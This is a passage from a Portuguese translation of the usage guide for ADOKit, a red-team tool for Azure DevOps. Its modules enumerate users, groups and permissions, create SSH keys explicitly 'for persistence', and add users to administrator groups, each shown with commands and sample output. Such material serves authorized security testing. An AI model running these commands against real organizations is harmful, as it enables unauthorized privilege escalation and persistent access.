ADOKit.exe listpat /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listpat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Exemplo de Saída```
C:>ADOKit.exe listpat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
================================================== Module: listpat Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 3/31/2023 2:33:17 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
PAT ID | Name | Scope | Valid Until
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
8776252f-9e03-48ea-a85c-f880cc830898 | ADOKit-rJxzpZwZ | app_token | 3/31/2024 12:00:00 AM
3/31/23 18:33:18 Finished execution of listpat
### Remover PAT
#### Caso de Uso
> *Remove um PAT para um determinado usuário em uma instância do Azure DevOps.*
#### Sintaxe
Forneça o módulo `removepat`, juntamente com quaisquer informações de autenticação relevantes e URL. Além disso, forneça o ID do PAT no argumento `/id:`. Isso irá exibir se o PAT foi removido ou não, e então listará os PATs ativos atuais para o usuário após realizar a remoção.
`ADOKit.exe removepat /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...`
`ADOKit.exe removepat /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...`
#### Exemplo de Saída```
C:\>ADOKit.exe removepat /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:0b20ac58-fc65-4b66-91fe-4ff909df7298
==================================================
Module: removepat
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:04:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: PAT with ID 0b20ac58-fc65-4b66-91fe-4ff909df7298 was removed successfully.
PAT ID | Name | Scope | Valid Until
-------------------------------------------------------------------------------------------------------------------------------------------
9b354668-4424-4505-a35f-d0989034da18 | test-token | app_token | 4/29/2023 1:20:45 PM
4/3/23 15:05:00 Finished execution of removepat
Criar Chave SSH
Caso de Uso
Criar uma chave SSH para um utilizador que possa ser usada para persistência numa instância do Azure DevOps.
Sintaxe
Forneça o módulo createsshkey, juntamente com qualquer informação de autenticação relevante e URL. Além disso, forneça a sua chave pública SSH no argumento /sshkey:. Isto irá gerar o ID da chave SSH, nome, âmbito, data de validade e os últimos 20 caracteres da chave pública SSH para a chave SSH criada. O nome da chave SSH criada será ADOKit- seguido por uma string aleatória de 8 caracteres. A data de validade da chave SSH será 1 ano a partir da data de criação, já que é o máximo que o Azure DevOps permite.
ADOKit.exe createsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /sshkey:"ssh-rsa ABC123"
Exemplo de Saída
```
C:>ADOKit.exe createsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /sshkey:"ssh-rsa ABC123"
================================================== Module: createsshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 2:51:22 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
fbde9f3e-bbe3-4442-befb-c2ddeab75c58 | ADOKit-iCBfYfFR | app_token | 4/3/2024 12:00:00 AM | ...hOLNYMk5LkbLRMG36RE=
4/3/23 18:51:24 Finished execution of createsshkey
### Listar Chaves SSH
#### Caso de Uso
> *Listar todas as chaves SSH públicas de um determinado usuário em uma instância do Azure DevOps.*
#### Sintaxe
Forneça o módulo `listsshkey`, juntamente com as informações de autenticação relevantes e a URL. Isso exibirá o ID da Chave SSH, nome, escopo e data de validade para todas as chaves SSH ativas do usuário. Além disso, imprimirá os últimos 20 caracteres da chave SSH pública.
`ADOKit.exe listsshkey /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listsshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe listsshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization
==================================================
Module: listsshkey
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 11:37:10 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
-----------------------------------------------------------------------------------------------------------------------------------------------------------------------
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 15:37:11 Finished execution of listsshkey
Remover Chave SSH
Caso de Uso
Remover uma chave SSH para um determinado usuário em uma instância do Azure DevOps.
Sintaxe
Forneça o módulo removesshkey, juntamente com quaisquer informações de autenticação relevantes e URL. Além disso, forneça o ID da chave SSH no argumento /id:. Isso indicará se a chave SSH foi removida ou não e, em seguida, listará as chaves SSH ativas atuais para o usuário após realizar a remoção.
ADOKit.exe removesshkey /credential:apiKey /url:https://dev.azure.com/organizationName /id:000-000-0000...
ADOKit.exe removesshkey /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /id:000-000-0000...
Exemplo de Saída```
C:>ADOKit.exe removesshkey /credential:UserAuthentication=ABC123 /url:https://dev.azure.com/YourOrganization /id:a199c036-d7ed-4848-aae8-2397470aff97
================================================== Module: removesshkey Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 1:50:08 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[+] SUCCESS: SSH key with ID a199c036-d7ed-4848-aae8-2397470aff97 was removed successfully.
SSH Key ID | Name | Scope | Valid Until | Public SSH Key
ec056907-9370-4aab-b78c-d642d551eb98 | test-ssh-key | app_token | 4/3/2024 3:13:58 PM | ...nDoYAPisc/pEFArVVV0=
4/3/23 17:50:09 Finished execution of removesshkey
### Listar Utilizadores
#### Caso de Uso
> *Listar utilizadores numa instância do Azure DevOps*
#### Sintaxe
Forneça o módulo `listuser`, juntamente com qualquer informação de autenticação relevante e URL. Isto irá exibir o nome de utilizador, nome de exibição e nome principal do utilizador.
`ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe listuser /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listuser
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:07 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
------------------------------------------------------------------------------------------------------------------------------------------------------------
user1 | User 1 | [email protected]
jsmith | John Smith | [email protected]
rsmith | Ron Smith | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:08 Finished execution of listuser
Pesquisar Utilizador
Caso de Uso
Pesquisar por utilizador(es) específico(s) numa instância do Azure DevOps
Sintaxe
Forneça o módulo searchuser e os seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com qualquer informação de autenticação relevante e URL. Isto irá exibir o nome de utilizador correspondente, nome de exibição e nome principal do utilizador.
ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/organizationName /search:user
ADOKit.exe searchuser /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:user
Exemplo de Saída```
C:>ADOKit.exe searchuser /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"user"
================================================== Module: searchuser Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:12:23 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Username | Display Name | UPN
user1 | User 1 | [email protected]
user2 | User 2 | [email protected]
4/3/23 20:12:24 Finished execution of searchuser
### Listar Equipes
#### Caso de Uso
> *Listar equipes dentro de uma instância do Azure DevOps*
#### Sintaxe
Forneça o módulo `listteam`, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o nome da equipe, nome do projeto e descrição da equipe.
`ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/organizationName`
`ADOKit.exe listteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName`
#### Exemplo de Saída```
C:\>ADOKit.exe listteam /credential:apiKey /url:https://dev.azure.com/YourOrganization
==================================================
Module: listteam
Auth Type: API Key
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:26 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
----------------------------------------------------------------------------------------------------------------------------------------
ProjectWithMultipleRepos Team | ProjectWithMultipleRepos | The default project team.
MaraudersMap Team | MaraudersMap | The default project team.
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
Pesquisar Equipe
Caso de Uso
Pesquise por equipe(s) específica(s) em instância do Azure DevOps
Sintaxe
Forneça o módulo searchteam e seus critérios de pesquisa no argumento de linha de comando /search:, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o nome da equipe, nome do projeto e descrição da equipe.
ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam
ADOKit.exe searchteam /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam
Exemplo de Saída```
C:>ADOKit.exe searchteam /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:test
================================================== Module: searchteam Auth Type: API Key Search Term: test Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 9:48:32 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Project | Description
TestProject2 Team | TestProject2 | The default project team.
TestProject Team | TestProject | The default project team.
### Obter Membros da Equipe
#### Caso de Uso
> *Obter membros da equipe para uma determinada equipe*
#### Sintaxe
Forneça o módulo `getteammembers` e seus critérios de pesquisa no argumento de linha de comando `/search:`, juntamente com quaisquer informações de autenticação relevantes e URL. Isso resultará no nome da equipe, nome de usuário do membro da equipe e nome de exibição do membro da equipe.
`ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/organizationName /search:someTeam`
`ADOKit.exe getteammembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:someTeam`
#### Exemplo de Saída```
C:\source\ADOKit-main\ADOKit\bin\Release>ADOKit.exe getteammembers /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"dev team"
==================================================
Module: getteammembers
Auth Type: API Key
Search Term: dev team
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 5/31/2024 10:45:11 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Team Name | Username | User Display Name
-------------------------------------------------------------------------------------------------------------------------------------------------------
Dev Team | [email protected] | User 1
Dev Team | [email protected] | user3
Dev Team | [email protected] | user4
List Groups
Caso de Uso
Listar grupos em uma instância do Azure DevOps
Sintaxe
Forneça o módulo listgroup, juntamente com as informações de autenticação relevantes e a URL. Isso exibirá o nome principal do usuário, o nome de exibição e a descrição do grupo.
ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/organizationName
ADOKit.exe listgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName
Exemplo de Saída```
C:>ADOKit.exe listgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization
================================================== Module: listgroup Auth Type: API Key Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:45 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
[TestProject]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project-Scoped Users | Project-Scoped Users | Members of this group will have limited visibility to organization-level data
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds. [MaraudersMap]\Readers | Readers | Members of this group have access to the team project. [YourOrganization]\Project Collection Test Service Accounts | Project Collection Test Service Accounts | Members of this group should include the service accounts used by the test controllers set up for this project collection. [MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team. [TEAM FOUNDATION]\Enterprise Service Accounts | Enterprise Service Accounts | Members of this group have service-level permissions in this enterprise. For service accounts only. [YourOrganization]\Security Service Group | Security Service Group | Identities which are granted explicit permission to a resource will be automatically added to this group if they were not previously a member of any other group. [TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
---SNIP---
4/3/23 20:48:46 Finished execution of listgroup
### Grupos de Pesquisa
#### Caso de Uso
> *Pesquisar por grupo(s) específico(s) na instância do Azure DevOps*
#### Sintaxe
Forneça o módulo `searchgroup` e seus critérios de pesquisa no argumento de linha de comando `/search:`, juntamente com as informações de autenticação e URL relevantes. Isso exibirá o nome principal do usuário, nome de exibição e descrição para o grupo correspondente.
`ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/organizationName /search:"someGroup"`
`ADOKit.exe searchgroup /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /search:"someGroup"`
#### Exemplo de Saída```
C:\>ADOKit.exe searchgroup /credential:apiKey /url:https://dev.azure.com/YourOrganization /search:"admin"
==================================================
Module: searchgroup
Auth Type: API Key
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/3/2023 4:48:41 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[TestProject2]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[ProjectWithMultipleRepos]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[TestProject]\Release Administrators | Release Administrators | Members of this group can perform all operations on Release Management
[TestProject]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[TestProject2]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[YourOrganization]\Project Collection Administrators | Project Collection Administrators | Members of this application group can perform all privileged operations on the Team Project Collection.
[ProjectWithMultipleRepos]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[YourOrganization]\Project Collection Build Administrators | Project Collection Build Administrators | Members of this group should include accounts for people who should be able to administer the build resources.
[TestProject]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
4/3/23 20:48:42 Finished execution of searchgroup
Obter Membros do Grupo
Caso de Uso
Listar todos os membros do grupo para um determinado grupo
Sintaxe
Forneça o módulo getgroupmembers e o(s) grupo(s) que deseja pesquisar no argumento de linha de comando /group:, juntamente com qualquer informação de autenticação relevante e URL. Isso exibirá o nome principal do usuário do grupo correspondente, juntamente com cada membro do grupo, incluindo o endereço de e-mail e nome de exibição do usuário.
ADOKit.exe getgroupmembers /credential:apiKey /url:https://dev.azure.com/organizationName /group:"someGroup"
ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /group:"someGroup"
Exemplo de Saída```
C:>ADOKit.exe getgroupmembers /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /group:"admin"
================================================== Module: getgroupmembers Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:03 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
Group | Mail Address | Display Name
[TestProject2]\Build Administrators | [email protected] | User 1
[TestProject2]\Build Administrators | [email protected] | User 2
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | Ron Smith
[TestProject2]\Project Administrators | [email protected] | User 1
[TestProject2]\Project Administrators | [email protected] | User 2
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[ProjectWithMultipleRepos]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Build Administrators | [email protected] | Brett Hawkins
4/4/23 13:11:09 Finished execution of getgroupmembers
### Obter Permissões do Projeto
#### Caso de Uso
> *Obter uma lista de quem tem permissões para um determinado projeto.*
#### Sintaxe
Forneça o módulo `getpermissions` e o projeto que você deseja pesquisar no argumento de linha de comando `/project:`, juntamente com quaisquer informações de autenticação relevantes e URL. Isso produzirá o nome principal do usuário, nome de exibição e descrição para o grupo correspondente. Além disso, isso produzirá os membros do grupo para cada um desses grupos.
`ADOKit.exe getpermissions /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someproject"`
`ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someproject"`
#### Exemplo de Saída```
C:\>ADOKit.exe getpermissions /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap"
==================================================
Module: getpermissions
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 9:11:16 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
UPN | Display Name | Description
------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Build Administrators | Build Administrators | Members of this group can create, modify and delete build definitions and manage queued and completed builds.
[MaraudersMap]\Contributors | Contributors | Members of this group can add, modify, and delete items within the team project.
[MaraudersMap]\MaraudersMap Team | MaraudersMap Team | The default project team.
[MaraudersMap]\Project Administrators | Project Administrators | Members of this group can perform all operations in the team project.
[MaraudersMap]\Project Valid Users | Project Valid Users | Members of this group have access to the team project.
[MaraudersMap]\Readers | Readers | Members of this group have access to the team project.
[*] INFO: Listing group members for each group that has permissions to this project
GROUP NAME: [MaraudersMap]\Build Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Contributors
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Contributors | [email protected] | User 1
[MaraudersMap]\Contributors | [email protected] | User 2
GROUP NAME: [MaraudersMap]\MaraudersMap Team
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\MaraudersMap Team | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Administrators
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
GROUP NAME: [MaraudersMap]\Project Valid Users
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
GROUP NAME: [MaraudersMap]\Readers
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Readers | [email protected] | John Smith
4/4/23 13:11:18 Finished execution of getpermissions
Adicionar Administrador de Projeto
Caso de Uso
Adicionar um usuário ao grupo de Administradores de Projeto para um determinado projeto.
Sintaxe
Forneça o módulo addprojectadmin junto com /project: e /user: para que um determinado usuário seja adicionado ao grupo Project Administrators para o projeto especificado. Além disso, forneça quaisquer informações de autenticação relevantes e URL. Veja a Tabela de Detalhes do Módulo para as permissões necessárias para realizar esta ação.
ADOKit.exe addprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
Exemplo de Saída```
C:>ADOKit.exe addprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addprojectadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 2:52:45 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
[MaraudersMap]\Project Administrators | [email protected] | User 1
4/4/23 18:52:47 Finished execution of addprojectadmin
### Remover Administrador do Projeto
#### Caso de Uso
> *Remove um usuário do grupo de Administradores do Projeto para um determinado projeto.*
#### Sintaxe
Forneça o módulo `removeprojectadmin` junto com `/project:` e `/user:` para que um determinado usuário seja removido do grupo `Project Administrators` do projeto. Além disso, forneça as informações de autenticação relevantes e a URL. Consulte a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.
`ADOKit.exe removeprojectadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Exemplo de Saída```
C:\>ADOKit.exe removeprojectadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removeprojectadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:19:43 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[MaraudersMap]\Project Administrators | [email protected] | Brett Hawkins
4/4/23 19:19:44 Finished execution of removeprojectadmin
Adicionar Admin de Build
Caso de Uso
Adicionar um usuário ao grupo de Administradores de Build para um determinado projeto.
Sintaxe
Forneça o módulo addbuildadmin com um /project: e /user: para que um determinado usuário seja adicionado ao grupo Build Administrators para o projeto especificado. Além disso, forneça junto qualquer informação de autenticação relevante e URL. Veja a Tabela de Detalhes do Módulo para as permissões necessárias para executar esta ação.
ADOKit.exe addbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"
Exemplo de Saída```
C:>ADOKit.exe addbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
================================================== Module: addbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:41:51 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[MaraudersMap]\Build Administrators | [email protected] | User 1
4/4/23 19:41:55 Finished execution of addbuildadmin
### Remover Administrador de Build
#### Caso de Uso
> *Remove um usuário do grupo Administradores de Build de um determinado projeto.*
#### Sintaxe
Forneça o módulo `removebuildadmin` junto com `/project:` e `/user:` para um determinado usuário ser removido do grupo `Build Administrators` do projeto em questão. Além disso, forneça as informações de autenticação relevantes e a URL. Consulte a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.
`ADOKit.exe removebuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
`ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /project:"someProject" /user:"someUser"`
#### Exemplo de Saída```
C:\>ADOKit.exe removebuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /project:"maraudersmap" /user:"user1"
==================================================
Module: removebuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 3:42:10 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Build Administrators group for the maraudersmap project.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/4/23 19:42:11 Finished execution of removebuildadmin
Adicionar Administrador de Coleção
Caso de Uso
Adicionar um usuário ao grupo de Administradores da Coleção de Projetos.
Sintaxe
Forneça o módulo addcollectionadmin junto com /user: para um determinado usuário que será adicionado ao grupo Administradores da Coleção de Projetos. Além disso, forneça as informações de autenticação relevantes e a URL. Veja a Tabela de Detalhes do Módulo para as permissões necessárias para executar esta ação.
ADOKit.exe addcollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Exemplo de Saída```
C:>ADOKit.exe addcollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:04:40 PM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
[YourOrganization]\Project Collection Administrators | [email protected] | User 1
4/4/23 20:04:43 Finished execution of addcollectionadmin
### Remover Admin de Coleção
#### Caso de Uso
> *Remover um usuário do grupo Project Collection Administrators.*
#### Sintaxe
Forneça o módulo `removecollectionadmin` com um `/user:` para um determinado usuário ser removido do grupo `Project Collection Administrators`. Além disso, forneça junto quaisquer informações de autenticação relevantes e URL. Veja a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para executar esta ação.
`ADOKit.exe removecollectionadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Exemplo de Saída```
C:\>ADOKit.exe removecollectionadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/4/2023 4:10:35 PM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
[YourOrganization]\Project Collection Administrators | [email protected] | John Smith
4/4/23 20:10:38 Finished execution of removecollectionadmin
Adicionar Administrador de Compilação de Coleção
Caso de Uso
Adicionar um usuário ao grupo Administradores de Compilação da Coleção de Projetos.
Sintaxe
Forneça o módulo addcollectionbuildadmin juntamente com um /user: para um determinado usuário ser adicionado ao grupo Project Collection Build Administrators. Além disso, forneça quaisquer informações de autenticação relevantes e URL. Consulte a Tabela de Detalhes do Módulo para as permissões necessárias para realizar esta ação.
ADOKit.exe addcollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"
ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"
Exemplo de Saída
Nenhuma saída é retornada por este módulo``` C:>ADOKit.exe addcollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
================================================== Module: addcollectionbuildadmin Auth Type: Cookie Search Term: Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:39 AM
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to add user1 to the Project Collection Build Administrators group.
[+] SUCCESS: User successfully added
Group | Mail Address | Display Name
[YourOrganization]\Project Collection Build Administrators | [email protected] | User 1
4/5/23 12:21:42 Finished execution of addcollectionbuildadmin
### Remover Administrador de Compilação da Coleção
#### Caso de Uso
> *Remover um utilizador do grupo de Administradores de Compilação da Coleção de Projetos.*
#### Sintaxe
Forneça o módulo `removecollectionbuildadmin` juntamente com um `/user:` para um determinado utilizador ser removido do grupo `Project Collection Build Administrators`. Adicionalmente, forneça qualquer informação de autenticação relevante e o URL. Consulte a [Tabela de Detalhes do Módulo](#module-details-table) para as permissões necessárias para realizar esta ação.
`ADOKit.exe removecollectionbuildadmin /credential:apiKey /url:https://dev.azure.com/organizationName /user:"someUser"`
`ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/organizationName /user:"someUser"`
#### Exemplo de Saída```
C:\>ADOKit.exe removecollectionbuildadmin /credential:"UserAuthentication=ABC123" /url:https://dev.azure.com/YourOrganization /user:"user1"
==================================================
Module: removecollectionbuildadmin
Auth Type: Cookie
Search Term:
Target URL: https://dev.azure.com/YourOrganization
Timestamp: 4/5/2023 8:21:59 AM
==================================================
[*] INFO: Checking credentials provided
[+] SUCCESS: Credentials provided are VALID.
[*] INFO: Attempting to remove user1 from the Project Collection Build Administrators group.
[+] SUCCESS: User successfully removed
Group | Mail Address | Display Name
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
4/5/23 12:22:02 Finished execution of removecollectionbuildadmin
Adicionar Conta de Serviço de Build da Coleção
Caso de Uso
Adicionar um usuário ao grupo Contas de Serviço de Build da Coleção do Projeto.
Sintaxe
